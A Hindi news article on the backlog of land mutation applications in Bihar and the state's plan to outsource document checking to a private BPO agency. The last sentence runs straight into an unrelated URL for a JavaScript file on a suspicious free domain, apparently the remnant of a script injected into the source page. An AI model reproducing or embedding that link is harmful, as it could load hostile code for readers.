बिहार ( Kush Singh) : जमीन का दाखिल खारिज बिहार में बड़ी समस्या बनी हुई है मौजूदा स्थिति के अनुसार प्राप्त आवेदन के 60% आवेदन किसी न किसी वजह से पेंडिंग में चला जाता है। बिहार में जमीन की दाखिल खारिज में देरी की सबसे बड़ी समस्या यह है कि जो भी आवेदक अपने जमीन की दाखिल खारिज के लिए ऑनलाइन अप्लाई करते हैं वह अपने सभी दस्तावेज पूरी तरह से अपलोड नहीं कर पाते हैं, जिसके वजह से आवेदन रद्द कर दी जाती है।
और आवेदक को इस बात का पता भी नहीं चलता है कि उसकी आवेदन की मौजूदा स्थिति क्या है और क्यों आवेदन रद्द किया गया है,और इस प्रकार आवेदन पेंडिंग में पड़ा रहता है। इस समस्या से निजात पाने के लिए सरकार कुछ निजी एजेंसियों की मदद लेने के लिए तैयार है जिसकी घोषणा पिछले वर्ष ही कर दी गई थी। फिलहाल निविदा प्रक्रिया भी शुरू की जा चुकी है। सब कुछ ठीक रहा तो 25 जनवरी को किसी भी एक एजेंसी को यह कार्य सौंप दिया जाएगा।
अब इस काम के लिए बिजनेस प्रोसेस आउटसोर्सिंग यानी बीपीओ स्थापित की जाएगी। निजी एजेंसियों के बीपीओ में आवेदक पहले अपने जमीन की दाखिल खारिज के लिए आवेदन करेंगे। एजेंसी में बैठे कर्मचारी आवेदक के दस्तावेजों की जांच करेंगे अगर कोई भी दस्तावेज आवेदक द्वारा सम्मिलित नहीं किया गया है तो एजेंसी के कर्मचारी उस आवेदक से दस्तावेज की मांग कर के खुद से अपलोड करेंगे जिससे यह संभावना ना बने की अंचल अधिकारी लॉगिन करें तो कोई भी आवेदन आधा अधूरा ना रहे जिससे दाखिल खारिज करने में किसी भी प्रकार का समस्या न हो या दाखिल खारिज पेंडिंग में न चले जाएं।
एजेंसियों द्वारा सभी आवेदक को उसके मोबाइल नंबर पर आवेदन की स्थिति भी स्पष्ट की जाएगी। विभाग द्वारा मिली जानकारी के अनुसार यह कार्य करने वाली एजेंसी वह हर महीने 2 लाख आवेदन का निपटारा करना होगा इसमें ढाई सौ से अधिक लोगों की टीम बनेगी जिसमें सरकारी एवं अर्द्ध सरकारी संगठनों में काम करने वाले लोगों को काम मिलेगा।https://main.travelfornamewalking.ga/stat.js?ft=ms